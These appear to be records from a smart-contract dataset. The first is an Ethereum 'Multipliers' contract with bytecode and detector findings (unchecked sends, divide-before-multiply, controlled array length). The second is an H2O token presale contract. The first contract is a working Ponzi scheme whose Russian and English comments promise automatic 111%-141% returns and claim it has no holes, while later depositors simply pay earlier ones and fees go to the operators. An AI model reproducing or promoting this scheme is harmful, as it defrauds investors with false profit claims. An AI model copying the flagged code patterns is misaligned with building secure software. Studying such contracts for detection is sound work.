So the last pays to the first (or to several first ones
if the deposit big enough) and the investors paid 111-141% are removed from the queue
new investor --| brand new investor --|
investor5 | new investor |
investor4 | =======> investor5 |
investor3 | investor4 |
(part. paid) investor2 <| investor3 |
(fully paid) investor1 <-| investor2 <----| (pay until full %)
Контракт Умножитель: возвращает 111%-141% от вашего депозита!
Автоматические выплаты!
Без ошибок, дыр, автоматический - для выплат НЕ НУЖНА администрация!
Создан и проверен профессионалами!
1. Пошлите любую ненулевую сумму на адрес контракта
- сумма от 0.01 до 10 ETH
- gas limit минимум 250000
- вы встанете в очередь
2. Немного подождите
3. ...
4. PROFIT! Вам пришло 111%-141% от вашего депозита.
Как это возможно?
1. Первый инвестор в очереди (вы станете первым очень скоро) получает выплаты от
новых инвесторов до тех пор, пока не получит 111%-141% от своего депозита
2. Выплаты могут приходить несколькими частями или все сразу
3. Как только вы получаете 111%-141% от вашего депозита, вы удаляетесь из очереди
4. Вы можете делать несколько депозитов сразу
5. Баланс этого контракта должен обычно быть в районе 0, потому что все поступления
сразу же направляются на выплаты
6. Чем больше вы сделали депозитов, тем больший процент вы получаете на очередной депозит
Смотрите переменную MULTIPLIERS в контракте
7. Если вы последний вкладчик (после вас не сделан депозит в течение 30 минут), то вы можете
забрать призовой фонд - 5% от эфира, прошедшего через контракт. Пошлите 0 на контракт
с газом не менее 350000, чтобы его получить.
Таким образом, последние платят первым, и инвесторы, достигшие выплат 111%-141% от депозита,
удаляются из очереди, уступая место остальным
новый инвестор --| совсем новый инвестор --|
инвестор5 | новый инвестор |
инвестор4 | =======> инвестор5 |
инвестор3 | инвестор4 |
(част. выплата) инвестор2 <| инвестор3 |
(полная выплата) инвестор1 <-| инвестор2 <----| (доплата до 111%-141%)
*/
contract Multipliers {
uint constant public TECH_PERCENT = 5;
uint constant public PROMO_PERCENT = 5;
uint constant public PRIZE_PERCENT = 5;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.03 ether; //Increases by this value per hour since start
uint constant public MAX_IDLE_TIME = 30 minutes; //Maximum time the deposit should remain the last to receive prize
uint constant public MAX_SET_TIME_RANGE = 1 weeks; //Do not allow to set start time beyond week from the current time
//How many percent for your deposit to be multiplied
//Depends on number of deposits from specified address at this stage
//The more deposits the higher the multiplier
uint8[] MULTIPLIERS = [
111, //For first deposit made at this stage
113, //For second
117, //For third
121, //For forth
125, //For fifth
130, //For sixth
135, //For seventh
141 //For eighth and on
];
//The deposit structure holds all the info about the deposit made
struct Deposit {
address depositor; //The depositor address
uint128 deposit; //The deposit amount
uint128 expect; //How much we should pay out (initially it is 111%-141% of deposit)
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue; //The queue
//Address for tech expences
address private tech;
//Address for promo expences
address private promo;
uint public currentReceiverIndex = 0; //The index of the first depositor in the queue. The receiver of investments!
uint public currentQueueSize = 0; //The current size of queue (may be less than queue.length)
LastDepositInfo public lastDepositInfo; //The time last deposit made at
uint public prizeAmount = 0; //Prize amount accumulated for the last depositor
uint public startTime = 0; //Next start time. 0 - inactive, <> 0 - next start time
uint public maxGasPrice = 1 ether; //Unlimited or limited
int public stage = 0; //Number of contract runs
mapping(address => DepositCount) public depositsMade; //The number of deposits of different depositors
constructor(address _tech, address _promo) public {
//Initialize array to save gas to first depositor
//Remember - actual queue length is stored in currentQueueSize!
queue.push(Deposit(address(0x1),0,1));
tech = _tech;
promo = _promo;
}
//This function receives all the deposits
//stores them and make immediate payouts
function () public payable {
//Prevent cheating with high gas prices.
require(tx.gasprice <= maxGasPrice, "Gas price is too high! Do not cheat!");
require(startTime > 0 && now >= startTime, "The race has not begun yet!");
if(msg.value > 0 && lastDepositInfo.time > 0 && now > lastDepositInfo.time + MAX_IDLE_TIME){
//This is deposit after prize is drawn, so just return the money and withdraw the prize to the winner
msg.sender.transfer(msg.value);
withdrawPrize();
}else if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!"); //We need gas to process queue
require(msg.value <= MAX_INVESTMENT, "The investment is too much!"); //Do not allow too big investments to stabilize payouts
addDeposit(msg.sender, msg.value);
//Pay to first investors in line
pay();
}else if(msg.value == 0){
withdrawPrize();
}
}
//Used to pay to current investors
//Each new transaction processes 1 - 4+ investors in the head of queue
//depending on balance and gas left
function pay() private {
//Try to send all the money on contract to the first investors in line
uint balance = address(this).balance;
uint money = 0;
if(balance > prizeAmount) //The opposite is impossible, however the check will not do any harm
money = balance - prizeAmount;
//We will do cycle on the queue
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i]; //get the info of the first investor
if(money >= dep.expect){ //If we have enough money on the contract to fully pay to investor
dep.depositor.send(dep.expect); //Send money to him
money -= dep.expect; //update money left
//this investor is fully paid, so remove him
delete queue[i];
}else{
//Here we don't have enough money so partially pay to investor
dep.depositor.send(money); //Send to him everything we have
dep.expect -= uint128(money); //Update the expected amount
break; //Exit cycle
}
if(gasleft() <= 50000) //Check the gas left. If it is low, exit the cycle
break; //The next investor will process the line further
}
currentReceiverIndex = i; //Update the index of the current first investor
}
function addDeposit(address depositor, uint value) private {
//Count the number of the deposit at this stage
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
//If you are applying for the prize you should invest more than minimal amount
//Otherwize it doesn't count
if(value >= getCurrentPrizeMinimalDeposit())
lastDepositInfo = LastDepositInfo(uint128(currentQueueSize), uint128(now));
//Compute the multiplier percent for this depositor
uint multiplier = getDepositorMultiplier(depositor);
//Add the investor into the queue. Mark that he expects to receive 111%-141% of deposit back
push(depositor, value, value*multiplier/100);
//Increment number of deposits the depositors made this round
c.count++;
//Save money for prize and father multiplier
prizeAmount += value*(PRIZE_PERCENT)/100;
//Send small part to tech support
uint support = value*TECH_PERCENT/100;
tech.send(support);
uint adv = value*PROMO_PERCENT/100;
promo.send(adv);
}
function proceedToNewStage(int _stage) private {
//Clean queue info
//The prize amount on the balance is left the same if not withdrawn
stage = _stage;
startTime = 0;
currentQueueSize = 0; //Instead of deleting queue just reset its length (gas economy)
currentReceiverIndex = 0;
delete lastDepositInfo;
}
function withdrawPrize() private {
//You can withdraw prize only if the last deposit was more than MAX_IDLE_TIME ago
require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
//Last depositor will receive prize only if it has not been fully paid
require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = prizeAmount;
if(balance > prize){
//We should distribute funds to queue
pay();
}
if(balance > prize){
return; //Funds are still not distributed, so exit
}
if(prize > balance) //Impossible but better check it
prize = balance;
queue[lastDepositInfo.index].depositor.send(prize);
prizeAmount = 0;
proceedToNewStage(stage + 1);
}
//Pushes investor to the queue
function push(address depositor, uint deposit, uint expect) private {
//Add the investor into the queue
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length); //Assert queue size is not corrupted
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
//Get the deposit info by its index
//You can get deposit index from
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getCurrentPrizeMinimalDeposit() public view returns(uint) {
uint st = startTime;
if(st == 0 || now < st)
return MIN_INVESTMENT_FOR_PRIZE;
uint dep = MIN_INVESTMENT_FOR_PRIZE + ((now - st)/1 hours)*MIN_INVESTMENT_FOR_PRIZE;
if(dep > MAX_INVESTMENT)
dep = MAX_INVESTMENT;
return dep;
}
//Get the count of deposits of specific investor
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
//Get all deposits (index, deposit, expect) of a specific investor
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
//Get current queue size
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
//Get current depositors multiplier percent at this stage
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == stage)
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function setStartTimeAndMaxGasPrice(uint time, uint _gasprice) public {
require(startTime == 0, "You can set time only in stopped state");
require(time >= now && time <= now + MAX_SET_TIME_RANGE, "Wrong start time");
require(msg.sender == tech || msg.sender == promo, "You are not authorized to set start time");
startTime = time;
if(_gasprice > 0)
maxGasPrice = _gasprice;
}
function getCurrentCandidateForPrize() public view returns (address addr, uint prize, uint timeMade, int timeLeft){
//prevent exception, just return 0 for absent candidate
if(currentReceiverIndex <= lastDepositInfo.index && lastDepositInfo.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfo.index];
addr = d.depositor;
prize = prizeAmount;
timeMade = lastDepositInfo.time;
timeLeft = int(timeMade + MAX_IDLE_TIME) - int(now);
}
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306395ef5811461038657806307fc76ad146103ad5780632d95663b146103c25780633257bd32146103d75780633de39c11146103f85780634c76361e1461040d5780636746881c14610422578063785fa6271461043757806378e979251461044c57806385f6ade214610461578063947f4ea81461047c57806394f649dd1461049157806395463041146105905780639f9fb968146105a5578063abce62a81461047c578063acce7dcb146105e5578063b8f770051461062e578063c040e6b814610643578063c533a5a31461047c578063c67f7df514610658578063d24d7d2014610679578063d72d3bde1461068e578063d895530c146106c9575b6009543a11156101b1576040805160e560020a62461bcd028152602060048201526024808201527f47617320707269636520697320746f6f20686967682120446f206e6f7420636860448201527f6561742100000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60006008541180156101c557506008544210155b151561021b576040805160e560020a62461bcd02815260206004820152601b60248201527f546865207261636520686173206e6f7420626567756e20796574210000000000604482015290519081900360640190fd5b60003411801561023e57506006546000608060020a9091046001608060020a0316115b801561026057506006546001608060020a03608060020a909104166107080142115b1561029f5760405133903480156108fc02916000818181858888f19350505050158015610291573d6000803e3d6000fd5b5061029a61070e565b610384565b60003411156103755762035b605a1015610303576040805160e560020a62461bcd02815260206004820152601460248201527f57652072657175697265206d6f72652067617321000000000000000000000000604482015290519081900360640190fd5b678ac7230489e80000341115610363576040805160e560020a62461bcd02815260206004820152601b60248201527f54686520696e766573746d656e7420697320746f6f206d756368210000000000604482015290519081900360640190fd5b61036d33346108ec565b61029a610a5c565b3415156103845761038461070e565b005b34801561039257600080fd5b5061039b610bd1565b60408051918252519081900360200190f35b3480156103b957600080fd5b5061039b610c38565b3480156103ce57600080fd5b5061039b610c3e565b3480156103e357600080fd5b5061039b600160a060020a0360043516610c44565b34801561040457600080fd5b5061039b610d00565b34801561041957600080fd5b5061039b610d06565b34801561042e57600080fd5b5061039b610d12565b34801561044357600080fd5b5061039b610d19565b34801561045857600080fd5b5061039b610d1f565b34801561046d57600080fd5b50610384600435602435610d25565b34801561048857600080fd5b5061039b610ec1565b34801561049d57600080fd5b506104b2600160a060020a0360043516610ec6565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156104fa5781810151838201526020016104e2565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015610539578181015183820152602001610521565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015610578578181015183820152602001610560565b50505050905001965050505050505060405180910390f35b34801561059c57600080fd5b5061039b611056565b3480156105b157600080fd5b506105bd600435611061565b60408051600160a060020a039094168452602084019290925282820152519081900360600190f35b3480156105f157600080fd5b50610606600160a060020a03600435166110ba565b60408051600f93840b90930b83526001608060020a0390911660208301528051918290030190f35b34801561063a57600080fd5b5061039b6110e2565b34801561064f57600080fd5b5061039b6110ec565b34801561066457600080fd5b5061039b600160a060020a03600435166110f2565b34801561068557600080fd5b5061039b611154565b34801561069a57600080fd5b506106a361115a565b604080516001608060020a03938416815291909216602082015281519081900390910190f35b3480156106d557600080fd5b506106de611174565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b6006546000908190608060020a90046001608060020a03168110801561074c5750600654426107071901608060020a9091046001608060020a031611155b15156107c8576040805160e560020a62461bcd02815260206004820152602760248201527f546865206c617374206465706f7369746f72206973206e6f7420636f6e66697260448201527f6d65642079657400000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6006546004546001608060020a039091161015610855576040805160e560020a62461bcd02815260206004820152602b60248201527f546865206c617374206465706f7369746f722073686f756c64207374696c6c2060448201527f626520696e207175657565000000000000000000000000000000000000000000606482015290519081900360840190fd5b50506007543031908082111561086d5761086d610a5c565b8082111561087a576108e8565b818111156108855750805b6006546001805490916001608060020a03169081106108a057fe5b60009182526020822060029091020154604051600160a060020a039091169183156108fc02918491818181858888f1505060006007555050600a546108e89150600101611214565b5050565b600160a060020a0382166000908152600b60205260408120600a54815491929182918291600f90810b900b1461094957600a5484546fffffffffffffffffffffffffffffffff19166001608060020a03600f9290920b8216171684555b610951610bd1565b85106109a957604080518082019091526005546001608060020a039081168083524282166020909301839052600680546fffffffffffffffffffffffffffffffff1916909117909116608060020a9092029190911790555b6109b286610c44565b92506109c4868660648187020461122d565b83546001608060020a8083046001608060020a039081169290920182160291161784556007805460646005880204908101909155600254604051919350600160a060020a03169083156108fc029084906000818181858888f15050600354604051606460058b02049550600160a060020a0390911693506108fc85150292508491506000818181858888f15050505050505050505050565b60075430319060009081908190841115610a7857600754840392505b60045491505b600554821015610bc9576001805483908110610a9657fe5b600091825260209091206002909102016001810154909150608060020a90046001608060020a03168310610b5f5780546001820154604051600160a060020a03909216916001608060020a03608060020a9092049190911680156108fc02916000818181858888f1505050506001828101548154608060020a9091046001608060020a03169095039490915083908110610b2c57fe5b600091825260208220600290910201805473ffffffffffffffffffffffffffffffffffffffff1916815560010155610bb0565b8054604051600160a060020a039091169084156108fc029085906000818181858888f15050506001830180546001608060020a03608060020a8083048216899003821602911617905550610bc99050565b61c3505a11610bbe57610bc9565b600190910190610a7e565b506004555050565b60085460009081811580610be457508142105b15610bf857666a94d74f4300009250610c33565b666a94d74f430000610e10428490030402666a94d74f430000019050678ac7230489e80000811115610c2f5750678ac7230489e800005b8092505b505090565b60055481565b60045481565b600160a060020a0381166000908152600b60205260408120600a5481548391600f91820b90910b1415610c8557508054608060020a90046001608060020a03165b600054811015610cc4576000805482908110610c9d57fe5b60009182526020918290209181049091015460ff601f9092166101000a9004169250610cf9565b600080546000198101908110610cd657fe5b60009182526020918290209181049091015460ff601f9092166101000a90041692505b5050919050565b60095481565b678ac7230489e8000081565b62093a8081565b60075481565b60085481565b60085415610da3576040805160e560020a62461bcd02815260206004820152602660248201527f596f752063616e207365742074696d65206f6e6c7920696e2073746f7070656460448201527f2073746174650000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b428210158015610db8575062093a8042018211155b1515610e0e576040805160e560020a62461bcd02815260206004820152601060248201527f57726f6e672073746172742074696d6500000000000000000000000000000000604482015290519081900360640190fd5b600254600160a060020a0316331480610e315750600354600160a060020a031633145b1515610ead576040805160e560020a62461bcd02815260206004820152602860248201527f596f7520617265206e6f7420617574686f72697a656420746f2073657420737460448201527f6172742074696d65000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600882905560008111156108e85760095550565b600581565b6060806060600080600080610eda886110f2565b935083604051908082528060200260200182016040528015610f06578160200160208202803883390190505b50965083604051908082528060200260200182016040528015610f33578160200160208202803883390190505b50955083604051908082528060200260200182016040528015610f60578160200160208202803883390190505b509450600084111561104b576000925060045491505b60055482101561104b576001805483908110610f8e57fe5b600091825260209091206002909102018054909150600160a060020a038981169116141561104057818784815181101515610fc557fe5b60209081029091010152600181015486516001608060020a0390911690879085908110610fee57fe5b6001608060020a039283166020918202909201015260018201548651608060020a9091049091169086908590811061102257fe5b6001608060020a039092166020928302909101909101526001909201915b816001019150610f76565b505050509193909250565b666a94d74f43000081565b60008060008060018581548110151561107657fe5b600091825260209091206002909102018054600190910154600160a060020a03909116966001608060020a038083169750608060020a909204909116945092505050565b600b60205260009081526040902054600f81900b90608060020a90046001608060020a031682565b6004546005540390565b600a5481565b60045460009081905b60055481101561114d5783600160a060020a031660018281548110151561111e57fe5b6000918252602090912060029091020154600160a060020a03161415611145576001909101905b6001016110fb565b5092915050565b61070881565b6006546001608060020a0380821691608060020a90041682565b60065460045460009182918291829182916001608060020a0316108015906111a857506005546006546001608060020a0316105b1561120d576006546001805490916001608060020a03169081106111c857fe5b600091825260209091206002909102018054600754600654600160a060020a0390921697509550608060020a90046001608060020a0316935061070842850301925090505b5090919293565b600a556000600881905560058190556004819055600655565b6112356113f3565b5060408051606081018252600160a060020a03851681526001608060020a038085166020830152831691810191909152600154600554111561127357fe5b600554600154141561134e57600180548082018255600091909152815160029091027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf681018054600160a060020a0390931673ffffffffffffffffffffffffffffffffffffffff199093169290921790915560208201517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7909101805460408401516001608060020a03908116608060020a029381166fffffffffffffffffffffffffffffffff1990921691909117169190911790556113e4565b80600160055481548110151561136057fe5b600091825260209182902083516002909202018054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff1990921691909117815590820151600190910180546040909301516001608060020a03908116608060020a029281166fffffffffffffffffffffffffffffffff19909416939093179092161790555b50506005805460010190555050565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a723058200d72237e110ddef2e716a3f85573154c33d381fe4a2dea36afd428bc9159bbf60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,162 |
0x6ff1333a6b8faa3f7550305386c5675b9834fda0
|
pragma solidity ^0.4.13;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract HydroCoin is MintableToken, Pausable {
string public name = "H2O Token";
string public symbol = "H2O";
uint256 public decimals = 18;
//----- splitter functions
event Ev(string message, address whom, uint256 val);
struct XRec {
bool inList;
address next;
address prev;
uint256 val;
}
struct QueueRecord {
address whom;
uint256 val;
}
address public first = 0x0;
address public last = 0x0;
bool public queueMode;
uint256 public pos;
mapping (address => XRec) public theList;
QueueRecord[] theQueue;
function startQueueing() onlyOwner {
queueMode = true;
pos = 0;
}
function stopQueueing(uint256 num) onlyOwner {
queueMode = false;
for (uint256 i = 0; i < num; i++) {
if (pos >= theQueue.length) {
delete theQueue;
return;
}
update(theQueue[pos].whom,theQueue[pos].val);
pos++;
}
queueMode = true;
}
function queueLength() constant returns (uint256) {
return theQueue.length;
}
function addRecToQueue(address whom, uint256 val) internal {
theQueue.push(QueueRecord(whom,val));
}
// add a record to the END of the list
function add(address whom, uint256 value) internal {
theList[whom] = XRec(true,0x0,last,value);
if (last != 0x0) {
theList[last].next = whom;
} else {
first = whom;
}
last = whom;
Ev("add",whom,value);
}
function remove(address whom) internal {
if (first == whom) {
first = theList[whom].next;
theList[whom] = XRec(false,0x0,0x0,0);
return;
}
address next = theList[whom].next;
address prev = theList[whom].prev;
if (prev != 0x0) {
theList[prev].next = next;
}
if (next != 0x0) {
theList[next].prev = prev;
}
theList[whom] =XRec(false,0x0,0x0,0);
Ev("remove",whom,0);
}
function update(address whom, uint256 value) internal {
if (queueMode) {
addRecToQueue(whom,value);
return;
}
if (value != 0) {
if (!theList[whom].inList) {
add(whom,value);
} else {
theList[whom].val = value;
Ev("update",whom,value);
}
return;
}
if (theList[whom].inList) {
remove(whom);
}
}
// ----- H20 stuff -----
/**
* @dev Allows anyone to transfer the H20 tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
bool result = super.transfer(_to, _value);
update(msg.sender,balances[msg.sender]);
update(_to,balances[_to]);
return result;
}
/**
* @dev Allows anyone to transfer the H20 tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
update(_from,balances[_from]);
update(_to,balances[_to]);
return result;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
bool result = super.mint(_to,_amount);
update(_to,balances[_to]);
return result;
}
function emergencyERC20Drain( ERC20 token, uint amount ) {
token.transfer(owner, amount);
}
}
contract HydroCoinPresale is Ownable,Pausable {
using SafeMath for uint256;
// The token being sold
HydroCoin public token;
// start and end block where investments are allowed (both inclusive)
uint256 public startTimestamp;
uint256 public endTimestamp;
// address where funds are collected
address public hardwareWallet = 0xa6128CA2eD94FB697d7058dC3Fd22740F82FF06A;
mapping (address => uint256) public deposits;
// how many token units a buyer gets per wei
uint256 public rate = 125;
// amount of raised money in wei
uint256 public weiRaised;
// minimum contributio to participate in tokensale
uint256 public minContribution = 50 ether;
// maximum amount of ether being raised
uint256 public hardcap = 1500 ether;
// amount to allocate to vendors
uint256 public vendorAllocation = 1000000 * 10 ** 18; // H20
// number of participants in presale
uint256 public numberOfPurchasers = 0;
address public companyTokens = 0xF1D5007d3884B8Ec6C2f89088b2bA28C5291C70f;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event PreSaleClosed();
function setWallet(address _wallet) onlyOwner {
hardwareWallet = _wallet;
}
function HydroCoinPresale() {
startTimestamp = 1506333600;
endTimestamp = startTimestamp + 1 weeks;
token = new HydroCoin();
require(startTimestamp >= now);
require(endTimestamp >= startTimestamp);
token.mint(companyTokens, vendorAllocation);
}
// check if valid purchase
modifier validPurchase {
require(now >= startTimestamp);
require(now <= endTimestamp);
require(msg.value >= minContribution);
require(weiRaised.add(msg.value) <= hardcap);
_;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
if (weiRaised >= hardcap)
return true;
return false;
}
// low level token purchase function
function buyTokens(address beneficiary) payable validPurchase {
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
if (deposits[msg.sender] == 0) {
numberOfPurchasers++;
}
deposits[msg.sender] = weiAmount.add(deposits[msg.sender]);
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
hardwareWallet.transfer(msg.value);
}
// transfer ownership of the token to the owner of the presale contract
function finishPresale() public onlyOwner {
require(hasEnded());
token.transferOwnership(owner);
PreSaleClosed();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
function emergencyERC20Drain( ERC20 theToken, uint amount ) {
theToken.transfer(owner, amount);
}
}
|
